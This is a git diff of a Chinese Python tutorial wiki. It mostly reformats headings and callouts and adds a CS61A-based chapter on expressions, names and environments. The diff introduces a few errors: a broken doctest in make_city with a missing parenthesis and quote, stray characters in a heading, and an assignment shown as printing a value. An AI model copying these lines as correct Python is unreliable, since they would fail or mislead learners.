-``` 3 ``` -``` +```python >>> 3 - 2 -``` - -``` 1 ``` -``` +```python >>> 5 * 6 -``` - -``` 30 ``` -``` +```python >>> 7 / 4 -``` - -``` 1.75 ``` -``` +```python >>> 7 // 4 -``` - -``` 1 ``` -``` +```python >>> 7 % 4 -``` - -``` 3 ``` -``` ->>> 4**3 -``` - -``` +```python +>>> 4 ** 3 64 ``` 同时可以输入 `exit``()` 或按 Ctrl+D 退出交互 -同学们可能已经发现 python 这门编程语言的神奇之处了 +:::: warning 🤔 同学们可能已经发现 python 这门编程语言的神奇之处了 在这里留一个思考题 diff --git a/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句.md b/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句.md index 6040d5c..b30ce7c 100644 --- a/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句.md +++ b/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句.md @@ -1,10 +1,11 @@ # 阶段一:熟悉语句 -在进行本章之前,请你谨记一个原则:基本所有的功能都被人提前实现好了 +::: warning 🐱 在进行本章之前,请你谨记一个原则:基本所有的功能都被人提前实现好了 你需要关心的仅仅是逻辑该如何设立 在做本章任务前,请熟悉 python 的函数,循环和判断语句即可 +::: P1:请仅使用一行语句求出三个数的最小平方和 @@ -30,7 +31,7 @@ def two_of_three(x, y, z): return _____ ``` -提示:可以使用 max()函数哦 +提示:可以使用 `min()` 函数哦 P2:下降阶乘 diff --git a/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md b/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md index 8826120..59f856e 100644 --- a/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md +++ b/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md @@ -2,17 +2,15 @@ 什么是递归呢? -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCNpeAE9Hy61cyvtxfioIHg.png) +![](https://cdn.xyxsw.site/boxcnCNpeAE9Hy61cyvtxfioIHg.png) -# - -# 释义 +## 释义 递归是在函数主体中重复调用函数的基本方案 让我们来看一个经典的例子 -> 阶乘,即 n!=n*(n-1)*......*2*1
例如: `5! = 5 * 4 * 3 * 2 * 1 = 120`. +> 阶乘,即 n! =n \* (n - 1) \*...... \* 2 \* 1
例如:5! = 5 \* 4 \* 3 \* 2 \* 1 = 120. 而阶乘的代码如下编辑 @@ -29,9 +27,9 @@ def factorial(n): - 想想在最简单的情况下函数将如何跳转 - 考虑使用问题的更简单版本来进行解决问题 -# 任务 +## 任务 -P4:编写一个递归函数 `skip_add`,它接受一个参数 n 并返回 `n + n-2 + n-4 + n-6 + ... + 0`。假设 n 是非负数。 +P4:编写一个递归函数 `skip_add`,它接受一个参数 n 并返回 `n + n-2 + n-4 + n-6 +...+ 0`。假设 n 是非负数。 ```python def skip_add(n): diff --git a/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md b/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md index 4258b78..9e0fc16 100644 --- a/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md +++ b/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md @@ -1,12 +1,13 @@ # 阶段三:数据抽象 -数据抽象(Data Abstraction) +数据抽象 (Data Abstraction) -[可参考教程](https://zhuanlan.zhihu.com/p/343133774) +::: warning 🐱 [可参考教程](https://zhuanlan.zhihu.com/p/343133774) 各位需要认真了解以下内容,他们是构建任何大厦的基石 +::: -# Data Abstraction +## Data Abstraction 数据抽象是一个伟大的概念,它允许程序员将代码以对象的形式进行看待,并且从更高的层面去审视问题。 @@ -14,14 +15,14 @@ 举个例子:你在开车时,如果要控制发动机的活塞怎么动,对你来说是否有些太过于困难了。因此将其抽象成了离合器,油门,刹车这些较为简单的操作。 -# 组成 +## 组成 一个抽象的数据类型(ADT)由两个主要部分组成 - Constructors:架构抽象数据类型的主要函数 - Selectors:操作数据类型的各式方法 -# 列表与元组 +## 列表与元组 列表是可以存储多个元素的 Python 数据结构。每个元素可以是任何类型,甚至可以是另一个列表! @@ -37,12 +38,12 @@ ```python tup = (1, 2, 3, 4) -new_tup = tup + (5, ) # 创建新的元组new_tup,并依次填充原元组的值 +new_tup = tup + (5, ) # 创建新的元组 new_tup,并依次填充原元组的值 new _tup (1, 2, 3, 4, 5) l = [1, 2, 3, 4] -l.append(5) # 添加元素5到原列表的末尾 +l.append(5) # 添加元素 5 到原列表的末尾 l [1, 2, 3, 4, 5] ``` @@ -69,13 +70,14 @@ l 3 ``` -思考题: +::: warning 🤔 思考题: 列表和元组在性能上有什么差异呢? 他们对应的使用场景有哪些呢? +::: -# 字典与集合 +## ;ltyi 字典与集合 字典是一系列由键(key)和值(value)配对组成的元素的集合,在 Python3.7+,字典被确定为有序 @@ -112,29 +114,30 @@ d {'name': 'jason', 'age': 20, 'gender': 'male'} s = {1, 2, 3} -s.add(4) # 增加元素4到集合 +s.add(4) # 增加元素 4 到集合 s {1, 2, 3, 4} -s.remove(4) # 从集合中删除元素4 +s.remove(4) # 从集合中删除元素 4 s {1, 2, 3} ``` -思考题: +::: warning 🤔 思考题: 字典和集合分别是什么原理呢? 字典可以是一个列表吗?为什么? +::: -# 可变性 +## 可变性 我们说如果一个对象可以由代码进行操作而改变那么我们称其具有可变性。 可变对象的示例包括列表和字典。不可变对象的示例包括元组和函数。 -我们假定已经知道了如何使用 `==` 运算符来检查两个表达式的计算结果是否相同。 +我们假定已经知道了如何使用 `==` 运算符来检查两个表达式的计算结果是否**相同**。 -我们现在引入一个新的比较运算符 `is`,它检查两个表达式的计算结果是否相同。 +我们现在引入一个新的比较运算符 `is`,它检查两个表达式的计算结果是否**相同**。 ```python >>> 2 + 2 == 3 + 1 @@ -176,15 +179,16 @@ False True ``` -思考题,你能否从指针的角度去理解可变性呢? +::: warning 🤔 思考题,你能否从指针的角度去理解可变性呢? +::: -# 任务 +## 任务 -P7:9*9 乘法表 +P7:9*9 乘法表 -可能现在对你来说,构建像下图这样的 99 乘法表已经是非常容易的一件事了,可是如果我要求你使用 python 的列表推导式(list comprehension),在两行以内完成呢? +可能现在对你来说,构建像下图这样的 99 乘法表已经是非常容易的一件事了,可是如果我要求你使用 python 的列表推导式 (list comprehension),在两行以内完成呢? -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnccDSRQj5W3lZWEUkCOHz2b.png) +![](https://cdn.xyxsw.site/boxcnccDSRQj5W3lZWEUkCOHz2b.png) P8:couple 情侣 @@ -235,40 +239,40 @@ make_city(name, lat, lon) ```python def make_city(name, lat, lon): - """ - >>> city = make_city('Berkeley', 0, 1) - >>> get_name(city) - 'Berkeley' - >>> get_lat(city) - 0 - >>> get_lon(city) - 1 - """ - return [name, lat, lon] + """ + >>> city = make_city('Berkeley', 0, 1 + >>> get_name(city) + 'Berkeley + >>> get_lat(city) + 0 + >>> get_lon(city) + 1 + """ + return [name, lat, lon] def get_name(city): - """ - >>> city = make_city('Berkeley', 0, 1) - >>> get_name(city) - 'Berkeley' - """ - return city[0] + """ + >>> city = make_city('Berkeley', 0, 1) + >>> get_name(city) + 'Berkeley' + """ + return city[0] def get_lat(city): - """ - >>> city = make_city('Berkeley', 0, 1) - >>> get_lat(city) - 0 - """ - return city[1] + """ + >>> city = make_city('Berkeley', 0, 1) + >>> get_lat(city) + 0 + """ + return city[1] def get_lon(city): - """ - >>> city = make_city('Berkeley', 0, 1) - >>> get_lon(city) - 1 - """ - return city[2] + """ + >>> city = make_city('Berkeley', 0, 1) + >>> get_lon(city) + 1 + """ + return city[2] ``` 首先你试试求出两个地方的距离。 diff --git a/3.编程思维体系构建/3.6.4.4阶段四:高阶函数.md b/3.编程思维体系构建/3.6.4.4阶段四:高阶函数.md index d603583..e4ca206 100644 --- a/3.编程思维体系构建/3.6.4.4阶段四:高阶函数.md +++ b/3.编程思维体系构建/3.6.4.4阶段四:高阶函数.md @@ -1,24 +1,25 @@ # 阶段四:高阶函数 -阅读以及完成本部分内容可以帮助你有效减少代码冗余。 +::: warning 🐱 阅读以及完成本部分内容可以帮助你有效减少代码冗余。 让你完成更为优雅的代码 各位要记住的是 -# 代码首先是给人看的 +代码首先是给人看的 机器看的永远只是你的机器码。 可参考教程 [Lambda](https://zhuanlan.zhihu.com/p/80960485) +::: -# Lambda 介绍 +## Lambda 介绍 Lambda 表达式是通过指定两件事来评估函数的表达式:参数和返回表达式。 请尝试阅读以下英文表格,对比函数与 lambda 表达式的不同 -# Lambda 实验 +## Lambda 实验 以下代码 python 会显示什么?通过对这些代码的实验,加深你对代码的学习 @@ -74,7 +75,7 @@ ______ ______ ``` -# 任务 +## 任务 P9:我们发现以下两个函数看起来实现的非常相似,是否可以进行改进,将其整合? @@ -113,11 +114,11 @@ def is_prime(n): 需求: -你需要通过自己写一个函数: `count_cond` ,来接受一个含有两个参数的函数 `condition(n, i)`(使用lambda表达式), +你需要通过自己写一个函数: `count_cond` ,来接受一个含有两个参数的函数 `condition(n, i)`(使用 lambda 表达式), -且`condition`函数应该满足第一个参数为N,而第二个参数将会在`condition`函数中遍历 1 to N。 +且`condition`函数应该满足第一个参数为 N,而第二个参数将会在`condition`函数中遍历 1 to N。 -`count_cond` 将返回一个单参数函数(ps:一个匿名函数),此单参数函数将会在被调用时返回 1 to N 中所有满足`condition`的数字的个数(如:1到n中素数的个数)。 +`count_cond` 将返回一个单参数函数 (ps:一个匿名函数),此单参数函数将会在被调用时返回 1 to N 中所有满足`condition`的数字的个数 (如:1 到 n 中素数的个数)。 ```python def count_cond(condition): diff --git a/3.编程思维体系构建/3.6.4.5阶段五:迭代生成.md b/3.编程思维体系构建/3.6.4.5阶段五:迭代生成.md index a268330..cc2567f 100644 --- a/3.编程思维体系构建/3.6.4.5阶段五:迭代生成.md +++ b/3.编程思维体系构建/3.6.4.5阶段五:迭代生成.md @@ -1,6 +1,6 @@ # 阶段五:迭代生成 -# 前言 +## 前言 在写乘法表的时候,你可能写过类似 @@ -18,13 +18,13 @@ for (int i = 0; i < n; i ++) 但是,你想过 Python 在处理 for in 语句的时候,具体发生了什么吗?什么样的对象可以被 for in 来枚举呢? -# 容器迭代 +## 容器迭代 容器这个概念非常好理解。 在 Python 中一切皆对象,对象的抽象就是类,而对象的集合就是容器。 -列表(list: [0, 1, 2]),元组(tuple: (0, 1, 2)),字典(dict: {0:0, 1:1, 2:2}),集合(set: set([0, 1, 2]))都是容器。 +列表`list: [0, 1, 2]`,元组`tuple: (0, 1, 2)`,字典`dict: {0:0, 1:1, 2:2}`,集合`set: set([0, 1, 2])`都是容器。 对于容器,你可以很直观地想象成多个元素在一起的单元;而不同容器的区别,正是在于内部数据结构的实现方法。 @@ -37,7 +37,7 @@ iterator = iter(iterable) # do something ``` -- 首先,在可迭代对象上调用内置 `iter` 函数以创建对应的迭代器。 +- 首先,在可迭代对象上调用内置 `iter` 函数以创建对应的*迭代器*。 - 要获取序列中的下一个元素,在此迭代器上调用内置 `next` 函数。 如果没有下一个元素了,怎么办? @@ -74,11 +74,11 @@ StopIteration [1, 2, 3, 4] ``` -# 英语练习,对迭代器的类比 +## 英语练习,对迭代器的类比 -Analogy: An iterable is like a book (one can flip through the pages) and an iterator for a book would be a bookmark (saves the position and can locate the next page). Calling `iter` on a book gives you a new bookmark independent of other bookmarks, but calling `iter` on a bookmark gives you the bookmark itself, without changing its position at all. Calling `next` on the bookmark moves it to the next page, but does not change the pages in the book. Calling `next` on the book wouldn't make sense semantically. We can also have multiple bookmarks, all independent of each other. +**Analogy**: An iterable is like a book (one can flip through the pages) and an iterator for a book would be a bookmark (saves the position and can locate the next page). Calling `iter` on a book gives you a new bookmark independent of other bookmarks, but calling `iter` on a bookmark gives you the bookmark itself, without changing its position at all. Calling `next` on the bookmark moves it to the next page, but does not change the pages in the book. Calling `next` on the book wouldn't make sense semantically. We can also have multiple bookmarks, all independent of each other. -# 生成器:懒人迭代器! +## 生成器:懒人迭代器! ```python def test_iterator(): @@ -114,7 +114,8 @@ Wall time: 12.5 s 声明一个迭代器很简单,[i for i in range(100000000)]就可以生成一个包含一亿元素的列表。每个元素在生成后都会保存到内存中,你通过代码可以看到,它们占用了巨量的内存,内存不够的话就会出现 OOM 错误。 -了解下 yield()函数吧,他可以返回一个生成器对象,试试看懂这个 +::: warning 🤔 了解下 yield()函数吧,他可以返回一个生成器对象,试试看懂这个 +::: ```python >>> def gen_list(lst): @@ -133,7 +134,7 @@ Wall time: 12.5 s StopIteration ``` -# 思考题:python 会显示什么?为什么? +## 思考题:python 会显示什么?为什么? ```python >>> s = [1, 2, 3, 4] @@ -185,9 +186,9 @@ ______ ______ ``` -# 任务 +## 任务 -P10:实现 `count`,它接受一个迭代器 `t` 并返回该值 `x` 出现在 的第一个 n 个元素中的次数 `t` +P10:实现 `count`,它接受一个迭代器 `t` 并返回该值 `x` 出现在的前 n 个元素中的次数 `t` ```python def count(t, n, x): diff --git a/3.编程思维体系构建/3.6.4.6结语.md b/3.编程思维体系构建/3.6.4.6结语.md index 27fb94b..d70bdb5 100644 --- a/3.编程思维体系构建/3.6.4.6结语.md +++ b/3.编程思维体系构建/3.6.4.6结语.md @@ -1,6 +1,6 @@ # 结语 -# 感觉学了不少内容,又感觉什么都没学? +## 感觉学了不少内容,又感觉什么都没学? 确实,这也是学习过程中一个非常普遍存在的状态,你学了五个非常重要的 python 语言的特性,但是在你用他们真正来优化代码解决代码之前,你都无法真正的掌握他们。 @@ -10,11 +10,11 @@ 同时,python 的核心特性就这些吗?远远不止呢,这些只是你入手其的敲门砖,我在下面会列举一些别的特性,你可以自行前去了解,也可以等到你真正遇到问题的时候去思考? -# 为什么没有突出面向对象 +## 为什么没有突出面向对象 因为代码量实在是太少了,当你去理解面向对象的时候的伟大意义时,最好与 C 语言这种面向过程的语言进行对比,不过,如果你完成了我们的文字冒险小游戏的时候,你可能会有非常深刻的体验。 -# 还有什么是我值得注意的? +## 还有什么是我值得注意的? 这些内容值得你去学习与思考,但是碍于各种因素,我暂时没有详细介绍 @@ -30,9 +30,9 @@ 如果有机会,我会继续补充相关内容 -值得一提的是:后面人工智能模块,我们将以 python 为主去进行编程,这对完成了所有任务的你一定是 a piece of cake! +值得一提的是:后面人工智能模块,我们将以 python 为主去进行编程,这对完成了所有任务的你一定是 a piece of cake! -# 一些不错的补充 +## 一些不错的补充 [WTF for python](https://github.com/robertparley/wtfpython-cn) diff --git a/3.编程思维体系构建/3.6.4Python for fun.md b/3.编程思维体系构建/3.6.4Python for fun.md index 0310404..c5f7df7 100644 --- a/3.编程思维体系构建/3.6.4Python for fun.md +++ b/3.编程思维体系构建/3.6.4Python for fun.md @@ -1,6 +1,6 @@ # Python for fun -值得一提的是,Python 是面向对象的编程语言,与你之前书写的 C 语言(面向过程)有非常多的不同。 +值得一提的是,Python 是面向对象的编程语言,与你之前书写的 C 语言(面向过程)有非常多的不同。 我们为什么要选择要使用 Python 来首先讲解面向对象这个概念? diff --git a/3.编程思维体系构建/3.6.5.1CS61A Sec1.md b/3.编程思维体系构建/3.6.5.1CS61A Sec1.md new file mode 100644 index 0000000..b854495 --- /dev/null +++ b/3.编程思维体系构建/3.6.5.1CS61A Sec1.md @@ -0,0 +1,426 @@ +# CS61A Sec1 + +**观前须知:** + +本章节内容基于 Berkeley 大学的教材 [Composing Programs](http://www.composingprograms.com/) by [John DeNero](http://www.denero.org/),并在此基础上做了部分修改,是在[知识共享协议](https://creativecommons.org/licenses/by-nc-sa/3.0/deed.zh)下所许可的。 + +计算机科学的高生产力之所以可能,是因为该学科是建立在一套优雅而强大的基本思想之上。所有的程序都从信息的表示开始,然后寻找一种逻辑来处理这些信息,并设计抽象概念来解释和控制这种逻辑。有了这些认识后,我们就需要准确的理解计算机是如何解释我们写的程序并进行计算的。 + +> A language isn't something you learn so much as something you join.
—[Arika Okrent](http://arikaokrent.com/) + +为了定义计算过程,我们需要一种编程语言;最好是许多人类和大量的计算机都能理解的语言。所以在 cs61a 中,伯克利主要使用 Python 语言来进行教学。 + +(在之前的 cs61a 课程中,Berkeley 大学主要使用 Scheme 来进行教学,(可能会写一篇文章来说说 Python 和 Scheme 语言和编程上的区别?) 不过在现在的课程中还是有关于 Scheme 的内容,所以并不用太过伤心?🙄) + +## 学习目标 + +在这一部分我们要学习的内容主要是函数(Functions)和控制(Control) + +### 一个简单的例子 + +为了给 Python 一个适当的介绍,我们将从一个使用几种语言特征的例子开始。 + +Python 内置了对广泛的常见编程的支持,如操作文本、显示图形和通过互联网进行通信。 + +```python +from urllib.request import urlopen +``` + +这个 Python 代码是一个导入语句,加载了在互联网上访问数据的功能。实际上,它提供了一个叫做 urlopen 的函数,它可以在一个[统一资源定位符(URL)](https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/Web_mechanics/What_is_a_URL)上访问内容,可以通过它来访问互联网上的数据。 + +**语句和表达式** + +Python 代码由语句和表达式组成。大体上,计算机程序由以下指令组成 + +1. 计算一些值 +2. 进行一些操作 + +语句通常描述行动;当 Python 解释器执行一个语句时,它执行相应的动作。另一方面,表达式通常描述的是计算;当 Python 评估一个表达式时,它计算该表达式的值。在这篇文章下,介绍了几种类型的声明和表达方式。 + +**赋值语句** + +```python +shakespeare = urlopen('http://www.composingprograms.com/shakespeare.txt') +``` + +注意:在伯克利大学的教材中,上述代码中的 url 并没有添加"www.",导致现在(至少在写这篇文章的时候)无法打开原文中的 url(可能还会写一篇文章来讲解"www."?) + +将变量名 `shakespeare` 用 `=` 和后面的表达式的值联系起来。该表达式将 `urlopen` 函数应用于一个 URL,该 URL 包含威廉 - 莎士比亚 37 部戏剧的完整文本,全部保存在一个文本文件中。 + +**函数** + +函数封装了操作数据的逻辑。 + +这句话告诉我们,可以从两个角度来看函数: + +- 在调用函数的时候,我们关注的是要处理的数据 +- 在定义函数的时候,我们关注的是如何处理数据 + +```python +shakespeare = urlopen('http://www.composingprograms.com/shakespeare.txt') +``` + +`urlopen` 是一个函数。一个网络地址是一种数据,而莎士比亚戏剧的文本是另一种数据。从网络地址到文本的过程可能很复杂,但我们可以只用一个简单的表达式来应用这个过程,因为这个复杂性被藏在一个函数中。 + +你可能不了解 `urlopen` 这个函数背后的逻辑,但这不影响你去调用这个函数,这就是函数封装的好处之一。 + +**因此,函数是本章节关注的重点。** + +我们来看另一个赋值语句: + +```python +words = set(shakespeare.read().decode().split()) +``` + +这个语句将名字词与莎士比亚戏剧中出现的所有出现过的词(重复出现的词只统计一次)的集合联系起来,其中有 33,721(?) 个词。上述语句包含一个读取、解码和分割的命令链,每个命令都在一个中间计算实体上操作:我们从打开的 URL 中读取数据,然后将数据解码成文本,最后将文本分割成单词。所有这些词都被放在一个集合(Set,Python 中的一种数据类型)中。 + +**对象** + +前文中提到的 Set,不仅仅是数据类型,也是一个对象。对象用一种能同时处理两者复杂性的方式,把数据和操作该数据的逻辑无缝衔接在一起。 + +对象会是我们后面章节所要讨论的内容。 + +现在让我们来看这个例子中的最后一个语句: + +```python +>>> {w for w in words if len(w) == 6 and w[::-1] in words} +{'redder', 'drawer', 'reward', 'diaper', 'repaid'} +``` + +第一行的">>>"表示输入,第二行则是交互式会话的输出 + +这是一个复合表达式,其值是所有长度为 6 的、本身和反向拼写都在原集合中的词组成的集合。其中的 `w[::-1]` 是一种隐式表达,它枚举了 `w` 中的所有字母,但因为 `step = -1` 规定了步长是反方向的。 + +**解释器** + +计算复合表达式需要一个精确的程序,以可预测的方式解释代码。一个能实现程序和计算符合表达式的程序被称为解释器;没错,其实解释器是程序(可能再写一篇文章来讲讲解释器和编译器的区别?) + +与其他计算机程序相比,编程语言的解释器在通用性方面是独一无二的。Python 的设计没有考虑到莎士比亚,然而,它的不可思议的灵活性使我们能够只用几个语句和表达式来处理大量的文本。 + +最后,我们会发现所有这些核心概念都是密切相关的:函数是对象,对象是函数,而解释器是两者的实例。然而,要掌握编程的艺术,关键是要清楚地理解每个概念及其在组织代码中的作用。 + +解释器的设计和实现也是我们之后的主要议题。 + +### 编程原本 + +编程语言不仅仅是指示计算机执行任务的一种手段,同时也是一个框架,我们在这个框架内组织我们关于计算过程的想法。程序的作用是在编程社区的成员之间交流这些想法,所以,编写的程序必须让人们容易阅读,而且只是顺便让机器执行。 + +当我们描述一种语言时,我们应该特别注意该语言为结合简单的想法以形成更复杂的想法所提供的手段。 + +每种强大的语言都有三种这样的机制: + +- **原始的表达式和语句**,代表了该语言提供的最简单的构建模块。 +- **组合的方式**,由较简单的元素建立成复合元素。 +- **抽象的手段**,通过它,复合元素可以作为单位被命名和操作。 + +在编程中,我们处理两种元素:函数和数据。(很快就会发现,它们其实并不那么明显)。不那么正式地说,数据是我们想要操作的东西,而函数描述了操作数据的规则。因此,任何强大的编程语言都应该能够描述原始数据和原始函数,以及有一些方法来组合和抽象函数和数据。 + +在上一小节中对 Python 解释器进行了实验后,我们现在重新开始,有条不紊地逐个开发 Python 语言元素。如果例子看起来很简单,那就耐心一点,因为更多令人兴奋的点很快就会出现。 + +我们从原始表达式开始。一种原始表达式是数字。更确切地说,你输入的表达式由代表十进制的数字组成。 + +```python +>>> 42 +42 +``` + +代表数字的表达式可以与数学运算符相结合,形成一个复合表达式,解释器将对其进行计算。 + +```python +>>> -1 - -1 +0 +>>> 1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64 + 1/128 +0.9921875 +``` + +这些数学表达式使用*中缀*符号,其中*运算符*(例如,+,-,*,或/)出现在*操作数*(数字)之间。Python 包括许多形成复合表达式的方法。我们不会试图立即列举它们,而是会随着我们的学习引入新的表达形式,以及它们所支持的语言特性。 + +最重要的一种复合表达式是*调用表达式*,它将一个函数应用于一些参数。回顾一下代数,函数的数学概念是一个从一些自变量到因变量的映射。例如,一个求最大值的函数将其的多个输入映射到当中最大值的一个单一的输出。Python 表达函数应用的方式与传统数学中相同。 + +```python +>>> max(7.5, 9.5) +9.5 +``` + +这个调用表达式有子表达式:*操作符*是括号前的表达式,它包含了一个用逗号分隔的*操作数*列表。 + +![](https://cdn.xyxsw.site/call_expression.png) + +运算符指定了一个*函数*。当这个调用表达式被评估时,我们说对*参数*`7.5` 和 `9.5`*调用*函数 `max`,并*返回*一个 9.5 的*返回值*。 + +调用表达式中参数的顺序很重要。例如,函数 `pow` 计算第一个参数的第二个参数次方。 + +```python +>>> pow(100, 2) +10000 +>>> pow(2, 100) +1267650600228229401496703205376 +``` + +与中缀表示法的数学约定相比,函数表示法有三个主要优点。首先,函数可以接受任意数量的参数: + +```python +>>> max(1, -2, 3, -4) +3 +``` + +不会产生歧义,因为函数名总是优先于其参数。 + +此外,函数符号以一种直接的方式延伸到*嵌套表达式*,其中的元素本身就是复合表达式。在嵌套的调用表达式中,与复合的中缀表达式不同,嵌套的结构在括号中是完全明确的。 + +```python +>>> max(min(1, -2), min(pow(3, 5), -4)) +-2 +``` + +对于这种嵌套的深度以及 Python 解释器可以计算的表达式的整体复杂性,(原则上)没有限制。然而,人类很快就会被多级嵌套所迷惑。作为一个程序员,你的一个重要作用是构造表达式,使它们仍然可以由你自己、你的编程伙伴和其他将来可能阅读你的表达式的人来解释。 + +同时,数学符号有各种各样的形式:乘法出现在术语之间,指数显示为上标,除法显示为斜杠,平方根显示为有斜边的屋顶。其中一些符号是很难打出来的!然而,所有这些复杂性都可以通过调用表达式的符号来统一。虽然 Python 支持使用中缀表达式的常见数学运算符(如 `+` 和 `-`),但任何运算符都可以表示为一个有名称的函数。 + +### 导入库函数 + +Python 定义了大量的函数,包括上一节中提到的运算符函数,但默认不提供它们的所有名称。作为替代,它将函数和其他量组织到模块中,这些模块共同构成了 Python 库。为了使用这些元素,人们将它们导入。例如,数学模块提供了各种熟悉的数学相关的函数。 + +```python +>>> from math import sqrt +>>> sqrt(256) +16.0 +``` + +而运算符模块提供了对应于中缀表达式的函数的访问: + +```python +>>> from operator import add, sub, mul +>>> add(14, 28) +42 +>>> sub(100, mul(7, add(8, 4))) +16 +``` + +一个导入语句指定了一个模块的名称(例如,`operator` 或 `math`),然后列出要导入的该模块的命名属性(例如,`sqrt`)。一旦一个函数被导入,它可以被多次调用。 + +使用这些运算符函数(如 `add`)和运算符符号本身(如 `+`)之间没有区别。传统上,大多数程序员使用符号和中缀表达式来表达简单的算术。 + +[Python 3 库文档](https://docs.python.org/3/library/index.html)列出了每个模块所定义的功能,如[数学模块](https://docs.python.org/3/library/math.html)。然而,这个文档是为那些对整个语言很了解的开发者编写的。现在,你可能会发现,对一个函数进行实验比阅读文档能告诉你更多关于它的行为。随着你对 Python 语言和词汇的熟悉,这个文档将成为有价值的参考来源。 + +### 变量名和环境 + +编程语言的一个关键方面是它提供了使用变量名来指代计算对象的手段。如果一个值被赋予了一个变量名,我们就说这个变量名与这个值*绑定*了。 + +在 Python 中,我们可以使用赋值语句建立新的绑定,其中包含左边的变量名 `=` 右边的值。 + +```python +>>> radius = 10 +>>> radius +10 +>>> 2 * radius +20 +``` + +变量名也是可以通过导入语句来绑定的。 + +```python +>>> from math import pi +>>> pi * 71 / 223 +1.0002380197528042 +``` + +`=` 符号在 Python(以及许多其他语言)中被称为*赋值*操作符。赋值是我们最简单的抽象手段,因为它允许我们使用简单的名称来指代复合操作的结果。用这种方式,复杂的程序就是通过一步一步地建立复杂度越来越高的计算对象来构建的。 + +将变量名与值绑定,然后通过变量名检索这些值意味着解释器必须保持某种内存,以跟踪变量名、值和绑定。这样的内存空间被称为*环境*。 + +变量名也可以被绑定到函数上。例如,变量名 `max` 与我们使用的求最大值的函数绑定。与数字不同的是,函数在呈现为文本时很棘手,所以当被要求描述一个函数时,Python 会打印一个识别描述。 + +```python +>>> max + +``` + +我们可以使用赋值语句给现有的函数起别名。 + +函数也可以看作是值。 + +```python +>>> f = max +>>> f + +>>> f(2, 3, 4) +4 +``` + +在同一个环境下的连续的赋值语句可以将一个名字重新绑定到一个新的值。 + +```python +>>> f = 2 +>>> f +2 +``` + +在 Python 中,名称通常被称为*变量名*或*变量*,因为它们在执行程序的过程中可能被绑定到不同的值。当一个名称通过赋值被绑定到一个新的值时,它就不再被绑定到任何以前的值。人们甚至可以将内置名称与新值绑定。 + +```python +>>> max = 5 +>>> max +5 +``` + +在将 `max` 赋值为 5 后,`max` 这个名称不再与函数绑定,因此试图调用 `max(2, 3, 4)` 会造成错误。 + +在执行赋值语句时,Python 在改变对左边变量名的绑定之前,对 `=` 右边的表达式进行计算。因此,人们可以在右侧表达式中引用一个变量名,即使它是要被赋值语句绑定的变量名。 + +```python +>>> x = 2 +>>> x = x + 1 +>>> x +3 +``` + +我们还可以在一个语句中给多个变量名赋值,其中左边的变量名和右边的表达式分别用逗号隔开。 + +```python +>>> area, circumference = pi * radius * radius, 2 * pi * radius +>>> area +314.1592653589793 +>>> circumference +62.83185307179586 +``` + +改变一个变量的值并不影响其他变量。下面,尽管变量名 `area` 被绑定到一个最初以 `radius` 定义的值,但 `area` 的值并没有改变。更新 `area` 的值需要另一个赋值语句。 + +```python +>>> radius = 11 +>>> area +314.1592653589793 +>>> area = pi * radius * radius +380.132711084365 +``` + +通过多重赋值的语句,在左边的任何变量名被绑定到这些值之前,右边的所有表达式都将被计算。由于这个规则,交换绑定在两个变量名上的值可以在一个语句中进行。 + +```python +>>> x, y = 3, 4.5 +>>> y, x = x, y +>>> x +4.5 +>>> y +3 +``` + +### 计算嵌套表达式 + +我们在本小节的目标之一是分离出关于像程序一样思考的问题。从下面这个例子中,我们应该意识到,在计算嵌套调用表达式时,解释器本身是在遵循某种步骤。 + +为了计算一个调用表达式,Python 将做按以下规则来工作: + +1. 计算运算符和操作数的子表达式,然后 +2. 将作为运算符子表达式的值的函数应用于作为运算符子表达式的值的参数。 + +即使这是个简单的程序也说明了关于一般过程的一些重要观点。第一步决定了为了完成一个调用表达式的计算过程,我们必须首先计算其他表达式。因此,计算过程在本质上是*递归的*;也就是说,作为其步骤之一,它也包括调用规则本身。 + +例如,计算 + +```python +>>> sub(pow(2, add(1, 10)), pow(2, 5)) +2016 +``` + +需要这个按照上述过程重复四次。如果我们画出每个被计算的表达式,我们就可以直观地看到这个过程的层次结构。 + +![](https://cdn.xyxsw.site/expression_tree.png) + +这张插图被称为*表达式树*。在计算机科学中,树(Tree,一种数据结构,我们将在后续的章节中进行讨论)通常是自上而下生长的。树中每一点的对象被称为节点;在这张插图的情况下,节点是与值配对的表达式。 + +计算它的根,即顶部的完整表达式,需要首先计算作为其子表达式的分支。叶表达式(即没有分支的节点)代表函数或数字。内部节点有两个部分:我们的计算规则所适用的调用表达式,以及该表达式的结果。从这棵树的计算来看,我们可以想象操作数的值是向上渗滤的,从末端节点开始,然后在越来越高的层级上进行组合。 + +接下来,观察一下,步骤一的重复应用使我们需要计算的不是调用表达式,而是数字(如 `2`)和名称(如 `add`)等原始表达式。 + +我们通过规定以下几点来处理这种情况: + +- 数字计算为它的名称所代表的数量 +- 名称计算为与当前环境中的名称相关的值。 + +请注意环境在决定表达式中符号的含义方面的重要作用。在 Python 中,在没有给定环境或是明确所有名称所指代的内容时,谈论一个表达式的价值是没有意义的,比如 + +```python +>>> add(x, 1) +``` + +而不指定任何关于环境为名称 `x`(甚至是名称 `add`)提供意义的信息。环境提供了计算发生的背景,这对我们理解程序执行起着重要作用。 + +上述的计算过程不足以计算所有的 Python 代码,只计算调用表达式、数字和名称。 + +例如,它不处理赋值语句 + +```python +>>> x = 3 +``` + +这个语句不返回一个值,也不在某些参数上调用一个函数,因为赋值的目的是将一个变量名绑定到一个值上。 + +一般来说,赋值语句不是被计算而是*被执行*;它们不产生一个值,而是做一些改变。每种类型的表达式或语句都有自己的计算或执行过程。 + +### 纯函数和非纯函数 + +在本小节中,我们将区分两种函数 +**纯函数** +函数有一些输入(它们的参数)并返回一些输出(应用它们的结果)。 